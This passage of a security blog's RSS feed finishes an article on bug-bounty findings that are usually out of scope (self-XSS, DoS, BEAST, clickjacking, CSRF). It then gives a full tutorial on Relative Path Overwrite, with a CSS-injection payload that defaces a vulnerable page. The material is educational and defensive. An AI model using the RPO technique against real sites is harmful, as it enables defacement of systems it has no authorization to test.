<p class="wp-block-paragraph">A simple example of self-XSS in action would be as follows:</p>



<ol start="1" class="wp-block-list">
<li>An attacker advertises a &#8220;hacking-kit-in-a-box&#8221;—something like, &#8220;H4x0rs l18e 1337!&#8221; (a common piece of jargon known as <strong>leetspeak</strong>, meant to appeal to a gullible user). The advertisement tells the victim that all they have to do is copy a specific code snippet and paste it into the <strong>developer console</strong> of their browser.</li>



<li>The victim, perhaps beautifully gullible, happily copies the code and pastes it into their console, imagining the digital terror of their wrath upon the web.</li>



<li>Instead of hacking someone else, the code they pasted into their console just <strong>exposed them to hackers</strong>. Any sensitive session cookies or other information available in their browser is now the property of a shadowy cabal of cyber-anarchists.</li>
</ol>



<p class="wp-block-paragraph">For an example of this in action, check out a historical write-up of a very similar scam that circulated on Facebook a few years ago. The scam <strong>also</strong> encouraged users to follow directions to hack any Facebook account, <strong>also</strong> asking them to copy and execute code in their developer console, and <strong>also</strong> resulted in the victim being hacked when they actually complied.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Further Reading Example:</strong> Facebook Self-XSS Scam: <code>https://www.tomsguide.com/us/facebook-self-xss,news-19224.html</code></p>
</blockquote>



<p class="wp-block-paragraph">Because this particular bug, like so many of these un-rewardable, almost-vulnerabilities, requires either <strong>action outside the application context</strong> (such as a phone support worker initiating a change under the influence of social engineering) or <strong>other application-based vulnerabilities</strong> to be present and ripe for exploitation, it falls outside the scope of most bug bounty programs and is <strong>not eligible for a reward</strong>.</p>



<p class="wp-block-paragraph">Even as companies write guides and issue warnings to avoid these kinds of scams, they are limited in terms of the preventative action they can take: there&#8217;s only so many ways to secure a house if the owner is <strong>intent on giving away their keys</strong> by executing malicious code themselves.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Non-Critical Data Leaks – What Companies Don’t Care About</h3>



<p class="wp-block-paragraph">Previously, during discussions about access control, security by obscurity, and data leakage, the different types of data that companies were not interested in rewarding were briefly covered. This included information like usernames, descriptive-but-not-sensitive error messages, different kinds of error codes, and so on.</p>



<p class="wp-block-paragraph">Here are some other, specific examples of information that security researchers often report, but that companies <strong>very rarely pay for</strong>.</p>



<h4 class="wp-block-heading">Emails</h4>



<p class="wp-block-paragraph">Emails are a piece of information many website operators try to deny to bots and automated agents crawling their site. One typical strategy is <strong>encoding email links as HTML entities</strong> to make them harder to collect. This means an email such as <code>nessus@generalproducts.biz</code> can be hidden as the following entity code:</p>



<pre class="wp-block-code"><code>&amp;#110;&amp;#101;&amp;#115;&amp;#115;&amp;#117;&amp;#115;&amp;#064;&amp;#103;&amp;#101;&amp;#110;&amp;#101;&amp;#114;&amp;#097;&amp;#108;&amp;#112;&amp;#114;&amp;#111;&amp;#100;&amp;#117;&amp;#099;&amp;#116;&amp;#115;&amp;#046;&amp;#098;&amp;#105;&amp;#122;
</code></pre>



<p class="wp-block-paragraph">Unless a crawler is specifically expecting to detect and decode entities as part of its scraping process, this little <strong>obfuscation</strong> (the practice of making something obscure or unintelligible) trick can be surprisingly effective.</p>



<p class="wp-block-paragraph">But if an email is exposed on a company site, it is usually <strong>meant to be a public-facing handle</strong>. Submitting a bug report about an exposed email like <code>support@company.com</code> or even reporting that you&#8217;ve deduced the employee email naming convention (e.g., <code>lastname.firstname@company.com</code>) <strong>does not meet the standard for a payout</strong>. There are too many extra steps beyond simply enumerating a company&#8217;s email username registry before the disclosure becomes an actual, high-impact vulnerability.</p>



<h4 class="wp-block-heading">HTTP Request Banners</h4>



<p class="wp-block-paragraph"><strong>HTTP banners</strong> are an integral part of the protocol that stitches the entire web together. On common services, they can include encoding data, device information, general information about the nature of the HTTP request, and other data, which might be privy to many different types of devices.</p>



<p class="wp-block-paragraph">All of that is to be <strong>expected as part of the service</strong> and does <strong>not</strong> constitute a leaked source of sensitive system information. This includes both information contained in the present banners as well as the <strong>&#8220;missing&#8221; security banners</strong> that some tools flag.</p>



<h4 class="wp-block-heading">Known Public Files</h4>



<p class="wp-block-paragraph">This is simple: <strong>some files are designed to be accessible!</strong> Reporting on the configuration or availability of files such as <code>robots.txt</code>, <code>wp-uploads</code>, or <code>sitemap.xml</code> is not going to merit a payout—or probably even a response—because these files are intended to be public-facing.</p>



<h4 class="wp-block-heading">Missing HttpOnly Cookie Flags</h4>



<p class="wp-block-paragraph"><strong>HttpOnly cookie flags</strong> are anti-XSS prevention devices. If a server-side process flags a cookie as HttpOnly, it <strong>cannot be accessed client-side</strong> (when the browser attempts to read the cookie using client-side script, it just returns an empty string). Every major browser supports HttpOnly cookies. But whatever their value, they are a <strong>safeguard</strong>, and their absence does <strong>not directly imply a vulnerability</strong>. If there&#8217;s no additional Cross-Site Scripting (XSS) vulnerability present, there is no issue.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Other Common No-Payout Vulnerabilities</h3>



<p class="wp-block-paragraph">In addition to the larger categories of bugs discussed that typically don&#8217;t merit a payout, there are also a lot of one-offs and miscellaneous would-be vulnerabilities you should try to avoid submitting. Keep in mind that these are in addition to <strong>previously-submitted vulnerabilities</strong>, which are ineligible for payout everywhere.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>Vulnerability Category</strong></td><td><strong>Why It&#8217;s Often Out-of-Scope</strong></td></tr></thead><tbody><tr><td><strong>Weak or Easily Bypassed CAPTCHAs</strong></td><td>CAPTCHA (and their successor, reCAPTCHAs) are Google-administered Turing tests designed to block bot form submission spam. Because they represent a <strong>third-party service</strong> whose security posture is managed by an outside company, most companies that host them won&#8217;t reward any CAPTCHA-related bugs.</td></tr><tr><td><strong>The HTTP OPTIONS Method Enabled</strong></td><td>The <code>OPTIONS</code> method is a diagnostic method that can potentially enable debugging and stack trace data. While it increases the <strong>attack surface</strong> and should be avoided by developers, having <code>OPTIONS</code> enabled is <strong>not a vulnerability <em>per se</em></strong>. Like other wannabe bugs, it requires too many extra steps in order to demonstrate a valid attack scenario.</td></tr><tr><td><strong>BEAST (CVE-2011-3389) and Other SSL-Based Attacks</strong></td><td>The <strong>Browser Exploit Against SSL/TLS (BEAST)</strong> attack assumes a fair degree of client-side control, typically requiring a <strong>Man-in-The-Middle (MiTM) attack</strong> to inject packets into the browser&#8217;s TLS stream. As the security product company Acunetix notes, if an attacker has reasonable control of the victim&#8217;s browser, it&#8217;s more probable that an easier attack vector is chosen. The vulnerability is the <strong>responsibility of the underlying tech</strong> (TLS/SSL connection) and requires several other vulnerabilities to be exploited, making it not the primary concern.</td></tr><tr><td><strong>Brute Forcing Authentication Systems</strong></td><td>If an authentication system (a GUI form, an API request, or any other implementation) doesn&#8217;t lock a user out after failed login attempts, it&#8217;s open to brute-forcing. However, the <strong>resources involved</strong> in brute-forcing and the high level of <strong>noise</strong> it would make to any observing system engineer mean that, by itself, this ability is not a compelling foundation for a severe attack scenario. Additionally, testing this involves making a brute force attack, which can damage the target&#8217;s infrastructure.</td></tr><tr><td><strong>CSRF Logout</strong></td><td>The ability for a cross-site request to forcefully log a user out (<strong>Cross-Site Request Forgery</strong> or CSRF) is traditionally considered a security non-issue and is still not rewarded by many programs. Although organizations like Detectify Labs are reevaluating this, it often requires <strong>several extra steps</strong> to become a true vulnerability with a credible attack scenario, and is therefore not a priority.</td></tr><tr><td><strong>Anonymous Form CSRF</strong></td><td>Another common CSRF-related vulnerability that doesn&#8217;t often receive a payout is an anonymous form (like &#8220;Contact Us&#8221;) that is susceptible to CSRF. There is <strong>no relevant attack scenario</strong> that can be derived from it. Even if an attacker submits the form with a different email address or message, it&#8217;s not clear what damage that would do, as anonymous forms are isolated from important functions.</td></tr><tr><td><strong>Clickjacking and Clickjacking-Enabled Attacks</strong></td><td><strong>Clickjacking</strong> is when an attacker hides a malicious link in a transparent or obscured link under a legitimate, safe button, tricking users into following the black hat URL. It&#8217;s omitted because it either requires the company itself to use <strong>dark patterns</strong> (malicious user interface techniques, which they would never admit to) or the user to modify code on their own machine.</td></tr><tr><td><strong>Physical Testing Findings</strong></td><td>Firms interested in rigorous security may hire a researcher to test the physical security perimeter of their data center (most common in industries with strong compliance policies like <strong>PCI compliance</strong>). However, any finding that consists of a researcher sneaking in through a company break room and messing with an unlocked laptop is <strong>out-of-scope</strong> and potentially legally actionable for a typical remote bug bounty program.</td></tr><tr><td><strong>Outdated Browsers</strong></td><td>Finding a vulnerability that depends on an outdated browser (especially one older than IE 8) for an attack vector will not be rewarded. Outdated browsers are <strong>not receiving security updates</strong>, and it makes no sense for a company to carve out exceptions to an applicable <strong>end-of-life policy</strong>.</td></tr><tr><td><strong>Server Information</strong></td><td>Discovering the type of server or hosting service is a valuable part of the discovery phase in any engagement, but it is <strong>not a bug</strong>. Obfuscation is nice, but the basic public server data itself doesn&#8217;t suggest a compelling attack chain worthy of a payout.</td></tr><tr><td><strong>Rate-Limiting</strong></td><td><strong>Rate-limiting</strong> (protecting a server from getting overloaded by selectively throttling requests) is a <strong>feature, not a bug</strong>. It prevents the server from being hosed and is explicitly excluded as an out-of-scope vulnerability.</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">This example of Anonymous Form CSRF drives home a general point that is essential to remember: <strong>Attack scenarios modeling a critical attack are essential to making sure that your submission is rewarded.</strong></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Summary and Key Takeaways</h3>



<p class="wp-block-paragraph">This article has covered different types of security flaws that typically <strong>don&#8217;t rise to the level of a profitable vulnerability</strong> in the context of a bug bounty program. These include issues like DoS/DDoS, Self-XSS, and other types of attacks, as well as information that is commonly reported by scanners and penetration testing tools but that doesn&#8217;t necessarily interest bug bounty program operators.</p>



<p class="wp-block-paragraph">Along with various miscellaneous out-of-scope vulnerabilities, the analysis of the common features that link these bugs together reveals a clear pattern: <strong>they are not high-impact on their own</strong>.</p>



<p class="wp-block-paragraph">They are often excluded because:</p>



<ul class="wp-block-list">
<li><strong>They require other, more serious exploits</strong> to be present.</li>



<li><strong>They have limited reach</strong>, often only affecting the attacker.</li>



<li><strong>They require social engineering</strong> or attacks on third-party services.</li>
</ul>



<p class="wp-block-paragraph">By understanding not only <strong>what</strong> bugs don&#8217;t get rewarded but <strong>why</strong> they aren&#8217;t valuable, you can now tune your own workflow to lower the noise in your reporting. This will help you build a penetration testing regimen that cuts down on time-wasting dead ends and focuses on the vulnerabilities that truly matter to the company and their users.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Questions and Further Analysis</strong></h3>



<h3 class="wp-block-heading">1. Why are DoS/DDoS attacks typically out-of-scope?</h3>



<p class="wp-block-paragraph"><strong>Answer:</strong> Denial-of-Service (DoS) and Distributed Denial-of-Service (DDoS) attacks are typically out-of-scope because they are considered an <em>availability</em> issue, not a <em>confidentiality</em> or <em>integrity</em> issue.</p>



<ul class="wp-block-list">
<li><strong>The CIA Triad:</strong> Security is often measured by the CIA triad:
<ul class="wp-block-list">
<li><strong>Confidentiality:</strong> Keeping data secret.</li>



<li><strong>Integrity:</strong> Preventing unauthorized data modification.</li>



<li><strong>Availability:</strong> Ensuring systems are accessible.</li>
</ul>
</li>



<li><strong>Bug Bounty Focus:</strong> Most bug bounties focus on flaws that compromise confidentiality (e.g., data theft) or integrity (e.g., taking over an account, changing data). While availability is critical, DoS attacks are often achieved through sheer brute force (flooding a server with traffic) rather than a unique, exploitable software &#8220;bug.&#8221; Defending against them is more about infrastructure scaling, rate limiting, and DDoS mitigation services (like Cloudflare) than fixing a specific line of code.</li>
</ul>



<p class="wp-block-paragraph"><strong>Scenario where a DoS-related bug would merit a reward:</strong></p>



<p class="wp-block-paragraph">If a researcher finds a <strong>logic flaw</strong> that causes a service to crash or become unresponsive with a <em>single, low-resource request</em>, it would often be in-scope. This is sometimes called &#8220;Low-Rate Denial of Service.&#8221;</p>



<ul class="wp-block-list">
<li><strong>Example:</strong> Sending a specially crafted API request that triggers an infinite loop on the server, consuming 100% CPU with a single HTTP packet. This demonstrates a vulnerability in the application&#8217;s logic, not just network-level flooding.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">2. What is Self-XSS? Why does it not usually merit an award?</h3>



<p class="wp-block-paragraph"><strong>Answer:</strong> Self-XSS (Cross-Site Scripting) is a vulnerability where the payload (the malicious script) can only be executed by the user themselves. It typically requires the user to paste malicious code into their browser&#8217;s developer console.</p>



<p class="wp-block-paragraph">It&#8217;s not rewarded because:</p>



<ul class="wp-block-list">
<li><strong>No Security Impact:</strong> It does not allow an attacker to compromise another user&#8217;s account or data. The victim is only &#8220;attacking&#8221; themselves.</li>



<li><strong>No Privilege Escalation:</strong> It cannot be used to escalate privileges or perform actions the user couldn&#8217;t already do manually.</li>



<li><strong>Social Engineering, Not a Technical Flaw:</strong> Exploiting it relies entirely on tricking the user, which is a human problem, not a technical software vulnerability. Bug bounties are for finding technical flaws in the application.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">3. What&#8217;s the potential damage of leaving HTTP&#8217;s OPTIONS method enabled?</h3>



<p class="wp-block-paragraph"><strong>Answer:</strong> By itself, the <code>OPTIONS</code> method is harmless and is part of the HTTP standard for CORS (Cross-Origin Resource Sharing) preflight requests. The damage is in <strong>information disclosure</strong>.</p>



<ul class="wp-block-list">
<li><strong>Reconnaissance:</strong> An attacker can use the <code>OPTIONS</code> method to &#8220;fingerprint&#8221; the server and discover which other HTTP methods are enabled (e.g., <code>GET</code>, <code>POST</code>, <code>PUT</code>, <code>DELETE</code>, <code>TRACE</code>).</li>



<li><strong>Attack Planning:</strong> Finding that powerful methods like <code>PUT</code> or <code>DELETE</code> are enabled gives an attacker a clear direction for further attacks. For example, if <code>PUT</code> is allowed, they might try to upload a malicious file.</li>
</ul>



<p class="wp-block-paragraph">The primary risk is leaking information that makes it easier for an attacker to plan a more serious attack.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">4. Why don&#8217;t BEAST and other SSL vulnerabilities typically qualify for bug bounty programs?</h3>



<p class="wp-block-paragraph"><strong>Answer:</strong> Vulnerabilities like BEAST (Browser Exploit Against SSL/TLS) are usually out-of-scope for a few key reasons:</p>



<ul class="wp-block-list">
<li><strong>Client-Side vs. Server-Side:</strong> BEAST is primarily a client-side attack. It exploits a weakness in the <em>client&#8217;s</em> browser (or TLS library), not a flaw in the configuration or code of the target server.</li>



<li><strong>Deprecated and Patched:</strong> BEAST is an old attack (from 2011) against TLS 1.0. Modern servers and browsers have long since mitigated it by supporting newer protocols (TLS 1.2, 1.3) and using different cipher modes.</li>



<li><strong>Infrastructure-Level Issues:</strong> These types of vulnerabilities are often related to the underlying web server (Apache, Nginx) or protocol implementation, not the unique application code that bug bounties are designed to protect. Program owners expect teams to keep their server TLS configurations up-to-date as a matter of standard hygiene.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">5. What is Clickjacking?</h3>



<p class="wp-block-paragraph"><strong>Answer:</strong> Clickjacking (UI Redress Attack) is an attack that tricks a user into clicking something different from what they perceive. An attacker uses transparent or opaque layers to overlay a malicious button or link on top of a legitimate, hidden webpage.</p>



<ul class="wp-block-list">
<li><strong>How it works:</strong> The victim sees a harmless-looking page (e.g., a game), but an invisible iframe containing their email account or bank website is positioned directly underneath the &#8220;Play&#8221; button. When they click &#8220;Play,&#8221; they are actually clicking the &#8220;Delete All Emails&#8221; or &#8220;Confirm Transfer&#8221; button on the hidden page.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">6. What is Physical Testing?</h3>



<p class="wp-block-paragraph"><strong>Answer:</strong> In the context of bug bounties, physical testing refers to attempting to find security vulnerabilities through direct, physical interaction with a company&#8217;s assets.</p>



<p class="wp-block-paragraph">This includes:</p>



<ul class="wp-block-list">
<li>Attempting to gain unauthorized physical access to corporate offices or data centers.</li>



<li>&#8220;Shoulder surfing&#8221; (looking over someone&#8217;s shoulder for passwords).</li>



<li>Plugging devices into corporate network jacks.</li>



<li>Dumpster diving for sensitive documents.</li>
</ul>



<p class="wp-block-paragraph">This is <strong>almost always strictly out-of-scope</strong> for bug bounty programs due to the high legal and safety risks involved.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">7. What makes a CSRF vulnerability out-of-scope?</h3>



<p class="wp-block-paragraph"><strong>Answer:</strong> Cross-Site Request Forgery (CSRF) forces a logged-in user to execute an unwanted action on a web application. Common reasons it might be considered out-of-scope:</p>



<ul class="wp-block-list">
<li><strong>Lack of Security Impact:</strong> The action has no meaningful security consequence (e.g., changing your own profile theme from light to dark mode).</li>



<li><strong>Presence of Standard Mitigations:</strong> The application already uses anti-CSRF tokens, but the researcher found a way to bypass them. If the bypass is valid, it&#8217;s in-scope, but if the tokens are correctly implemented and unbypassable, there is no vulnerability.</li>



<li><strong>Self-Exploitation:</strong> The attack can only be performed against the attacker&#8217;s own account.</li>



<li><strong>Requires Extensive User Interaction:</strong> The exploit requires the victim to perform a complex, unlikely series of steps.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">8. What are Dark Patterns?</h3>



<p class="wp-block-paragraph"><strong>Answer:</strong> As you defined, dark patterns are user interface and user experience design choices that deliberately trick or manipulate users into taking actions they might not otherwise take.</p>



<p class="wp-block-paragraph"><strong>Examples:</strong></p>



<ul class="wp-block-list">
<li><strong>Confirmshaming:</strong> Using guilt to prevent a user from taking an action (&#8220;No thanks, I don&#8217;t want to save money&#8221;).</li>



<li><strong>Sneak into Basket:</strong> Adding additional products to your cart without your clear consent.</li>



<li><strong>Roach Motel:</strong> Making it very easy to sign up for a service but extremely difficult to cancel it.</li>



<li><strong>Privacy Zuckering:</strong> Tricking you into sharing more personal data than you intended.</li>
</ul>



<p class="wp-block-paragraph">While unethical, dark patterns are generally a <strong>business practice or design ethics issue</strong>, not a security vulnerability, and are therefore out-of-scope for bug bounties.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">9. Why aren&#8217;t brute force-related vulnerabilities rewarded?</h3>



<p class="wp-block-paragraph"><strong>Answer:</strong> Brute force attacks (e.g., repeatedly trying passwords) are not considered a software vulnerability but rather a <strong>configuration or design flaw in the security controls</strong>.</p>



<p class="wp-block-paragraph"><strong>Focus on Technical Flaws:</strong> Like DoS, a successful brute-force attack is often a matter of &#8220;brute force&#8221; rather than exploiting a technical weakness in the code itself. Program owners expect basic security hygiene like rate limiting to be in place.</p>



<p class="wp-block-paragraph"><strong>Mitigation is Standard:</strong> The defense against brute-forcing is well-known and standard: implement strong rate limiting and account lockout policies.</p>



<p class="wp-block-paragraph"><strong>Lack of Novelty:</strong> Finding that a login endpoint doesn&#8217;t have rate limiting doesn&#8217;t demonstrate a unique &#8220;bug&#8221;; it demonstrates a missing security control. Bug bounty programs are looking for novel flaws in the application logic.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Further Reading and Resources</h3>



<p class="wp-block-paragraph">You can find out more about some of the topics discussed in this article at the following links:</p>



<ul class="wp-block-list">
<li>Facebook Self-XSS Scam: Learn more about how social engineering was used in a Self-XSS scheme on Facebook.https://www.tomsguide.com/us/facebook-self-xss,news-19224.html</li>



<li>GitHub DDoS Attack: Read the report on the massive DDoS attack that targeted GitHub.https://www.theregister.co.uk/2018/03/05/worlds_biggest_ddos_attack_record_broken_after_just_five_days/</li>



<li>TLS/SSL Vulnerability Attacks: An in-depth discussion of TLS/SSL vulnerabilities and related attacks, including the BEAST attack.https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/</li>



<li>Detectify Labs on CSRF Logouts: A detailed argument for why the security industry should re-evaluate CSRF issues on logout functionality.https://labs.detectify.com/2017/03/15/loginlogout-csrf-time-to-reconsider/</li>



<li>Dark Patterns: A resource dedicated to exposing and raising awareness of deceptive user interface design practices.https://darkpatterns.org</li>
</ul>
<p>The post <a href="https://awjunaid.com/books/out-of-scope-vulnerabilities-knowing-what-not-to-report-in-bug-bounty-programs/">(Out of Scope) Vulnerabilities: Knowing What Not to Report in Bug Bounty Programs</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/books/out-of-scope-vulnerabilities-knowing-what-not-to-report-in-bug-bounty-programs/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">11394</post-id>	</item>
		<item>
		<title>Relative Path Overwrite (RPO): Exploiting Path Confusion for Defacement</title>
		<link>https://awjunaid.com/books/relative-path-overwrite-rpo-exploiting-path-confusion-for-defacement/</link>
					<comments>https://awjunaid.com/books/relative-path-overwrite-rpo-exploiting-path-confusion-for-defacement/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Sun, 02 Nov 2025 06:36:07 +0000</pubDate>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=11363</guid>

					<description><![CDATA[<p>Introduction Relative Path Overwrite (RPO) is an older, lesser-known vulnerability that still impacts a significant number of applications.&#8230;</p>
<p>The post <a href="https://awjunaid.com/books/relative-path-overwrite-rpo-exploiting-path-confusion-for-defacement/">Relative Path Overwrite (RPO): Exploiting Path Confusion for Defacement</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h3 class="wp-block-heading"><strong>Introduction</strong></h3>



<p class="wp-block-paragraph"><strong>Relative Path Overwrite (RPO)</strong> is an older, lesser-known vulnerability that still impacts a significant number of applications. This flaw typically allows an attacker to manipulate the browser&#8217;s interpretation of a relative path, forcing it to load a malicious file instead of the intended resource (like a stylesheet).</p>



<p class="wp-block-paragraph">While RPO can sometimes be used for <strong>Cross-Site Scripting (XSS)</strong> or <strong>extracting sensitive data</strong>, the vast majority of cases can only be exploited for <strong>web defacement</strong> by injecting custom CSS. This vulnerability is often classified as a <strong>low-severity finding</strong>, but it is still interesting because it is frequently missed in security audits due to a lack of understanding regarding the exploit chain.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>RPO Prerequisites and Mechanism</strong></h3>



<p class="wp-block-paragraph">Before an RPO attack can be exploited, several specific application conditions must be met:</p>



<ol start="1" class="wp-block-list">
<li><strong>Reflected Input:</strong> A page must <strong>reflect the current URL, path, or <code>Referer</code> header</strong> in the HTML source of the response.</li>



<li><strong>Quirks Mode Enabled:</strong> The HTML page must be <strong>missing the <code>&lt;!DOCTYPE></code> tag</strong> to enable the browser&#8217;s <strong>Quirks Mode</strong>.</li>



<li><strong>Wildcard Path:</strong> The endpoint must have a <strong>wildcard path</strong> or &#8220;catch-all&#8221; routing, meaning a URL like <code>example.com/vuln.php</code> resolves to the same page as <code>example.com/vuln.php/something/</code>.</li>



<li><strong>Relative Path Imports:</strong> The page must import resources (like stylesheets) using a <strong>relative path</strong> (e.g., <code>&lt;link rel="stylesheet" href="style.css"></code>).</li>
</ol>



<p class="wp-block-paragraph">If all these requirements are met, an RPO exploit is highly likely.</p>



<h4 class="wp-block-heading"><strong>Understanding Path Relative Links</strong></h4>



<p class="wp-block-paragraph">To understand RPO, you must first know how browsers use path relative links to load content:</p>



<ul class="wp-block-list">
<li><strong>Absolute Link (Full Path):</strong> <code>&lt;link rel="stylesheet" href="https://example.com/css/style.css"></code> (Uses the full URL.)</li>



<li><strong>Root-Relative Link:</strong> <code>&lt;link rel="stylesheet" href="/css/style.css"></code> (Starts at the root of the web directory <code>/</code>.)</li>



<li><strong>Relative Link (Current Directory):</strong> <code>&lt;link rel="stylesheet" href="style.css"></code> (Looks in the <strong>current directory</strong> for the file. If the URL is <code>example.com/test/</code>, it will look for the CSS file at <code>/test/style.css</code>.)</li>
</ul>



<p class="wp-block-paragraph">The RPO attack targets the <strong>relative link</strong> and manipulates the browser&#8217;s interpretation of the <strong>current directory</strong>.</p>



<h4 class="wp-block-heading"><strong>Quirks Mode Explained</strong></h4>



<p class="wp-block-paragraph"><strong>Quirks Mode</strong> was designed to gracefully handle poorly coded websites, which were common years ago. When Quirks Mode is enabled (by omitting the <code>&lt;!DOCTYPE&gt;</code> tag), the browser often <strong>ignores the <code>Content-Type</code> header</strong> of a file when processing it.</p>



<p class="wp-block-paragraph">This is critical for RPO: if we pass an <strong>HTML file</strong> (with a <code>Content-Type: text/html</code>) to a link tag that expects a stylesheet, the browser in Quirks Mode will still try to <strong>parse the HTML file as if it is a CSS file</strong>. If Quirks Mode is disabled, the browser would block this action and throw an error.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>The RPO Exploit Chain</strong></h3>



<p class="wp-block-paragraph">The exploit requires confirming the conditions and then constructing a malicious URL.</p>



<h4 class="wp-block-heading"><strong>Step 1: Confirming Reflection, Quirks Mode, and Wildcard Routing</strong></h4>



<p class="wp-block-paragraph">First, examine the vulnerable code or manually inspect the page source.</p>



<p class="wp-block-paragraph">The initial step is to determine if the application reflects the URL path in the HTML source. You can manually verify this by checking the source code after visiting a path like <code>/home/okay/</code>.</p>



<p class="wp-block-paragraph">The reflection of the <code>okay/</code> path is visible. We can also see that the <strong><code>&lt;!DOCTYPE&gt;</code> tag is missing</strong>, confirming that the page is running in <strong>Quirks Mode</strong>. Next, we must confirm that <code>/home/okay/</code> resolves to the same page as <code>/home</code>, which confirms the <strong>wildcard path routing</strong>.</p>



<h4 class="wp-block-heading"><strong>Step 2: Manipulating the Relative Path</strong></h4>



<p class="wp-block-paragraph">Because the <code>&lt;link&gt;</code> tag is using a <strong>relative path</strong> (<code>style.css</code>), when we change the URL to <code>/home/okay/</code>, the browser attempts to import the stylesheet from <code>/home/okay/style.css</code>.</p>



<p class="wp-block-paragraph">However, due to the <strong>wildcard path routing</strong>, the URL <code>/home/okay/style.css</code> actually resolves and returns the content of the <strong>original HTML page</strong> (<code>/home</code>)!</p>



<p class="wp-block-paragraph">[Image showing the URL structure where /home/okay/ resolves to the same page as /home, but the relative path changes to /home/okay/style.css]



<p class="wp-block-paragraph">As shown, the <strong><code>Link</code></strong> tag attempts to import its stylesheet from <code>/home/okay/style.css</code>. Because of the wildcard path after <code>/home</code>, this URL resolves to the same HTML source as <code>/home</code>. Since the response does <strong>not contain a <code>&lt;!DOCTYPE&gt;</code> tag</strong>, the browser has <strong>Quirks Mode enabled</strong>.</p>



<p class="wp-block-paragraph">If Quirks Mode were disabled, the browser would receive the HTML content with a <strong><code>Content-Type: text/html</code></strong> and would throw an error when attempting to parse it as a stylesheet.</p>



<h4 class="wp-block-heading"><strong>Step 3: Launching the CSS Injection</strong></h4>



<p class="wp-block-paragraph">Since the <code>Link</code> tag is forced to accept the HTML output as CSS (due to Quirks Mode), and <strong>user-controlled input is reflected in that output</strong> (the path), an attacker can inject CSS commands that the browser will execute.</p>



<p class="wp-block-paragraph">The malicious URL is crafted by appending the CSS payload to the path:</p>



<ul class="wp-block-list">
<li><strong>Payload:</strong> <code>%0A{}*{color:red;}///</code> (The <code>%0A</code> is a newline character, used to ensure the injection starts on a new line.)</li>
</ul>



<p class="wp-block-paragraph">This CSS payload forces all elements on the page (<code>*</code>) to have a <strong>red color</strong>.</p>



<p class="wp-block-paragraph">[Image showing the result of the RPO attack where the font color is red due to CSS injection]



<p class="wp-block-paragraph">The injection of the CSS code successfully turns the page font red, confirming the target is <strong>vulnerable to RPO</strong>.</p>



<h3 class="wp-block-heading"><strong>Summary and Conclusion</strong></h3>



<p class="wp-block-paragraph"><strong>Relative Path Overwrite</strong> is an older, lesser-known vulnerability that still poses a threat. It is a complex attack chain requiring specific application conditions: path reflection, a relative resource link, wildcard routing, and the omission of the <code>&lt;!DOCTYPE&gt;</code> tag (enabling Quirks Mode).</p>



<p class="wp-block-paragraph">While often classified as a low-severity finding, RPO can still be used to perform <strong>web defacements</strong> and, in rare cases, higher-impact attacks. It is a bug that many security professionals overlook.</p>



<p class="wp-block-paragraph">You now have a few more sophisticated tricks up your sleeve! There are plenty of other techniques out there, and I recommend learning additional vulnerabilities. The more vulnerabilities you know how to exploit, the better your chances are of securing an application.</p>
<p>The post <a href="https://awjunaid.com/books/relative-path-overwrite-rpo-exploiting-path-confusion-for-defacement/">Relative Path Overwrite (RPO): Exploiting Path Confusion for Defacement</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/books/relative-path-overwrite-rpo-exploiting-path-confusion-for-defacement/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">11363</post-id>	</item>
		<item>
		<title>On-Site Request Forgery (OSRF): A Forgotten Client-Side Attack</title>
		<link>https://awjunaid.com/books/on-site-request-forgery-osrf-a-forgotten-client-side-attack/</link>
					<comments>https://awjunaid.com/books/on-site-request-forgery-osrf-a-forgotten-client-side-attack/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Fri, 31 Oct 2025 16:06:20 +0000</pubDate>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=11351</guid>

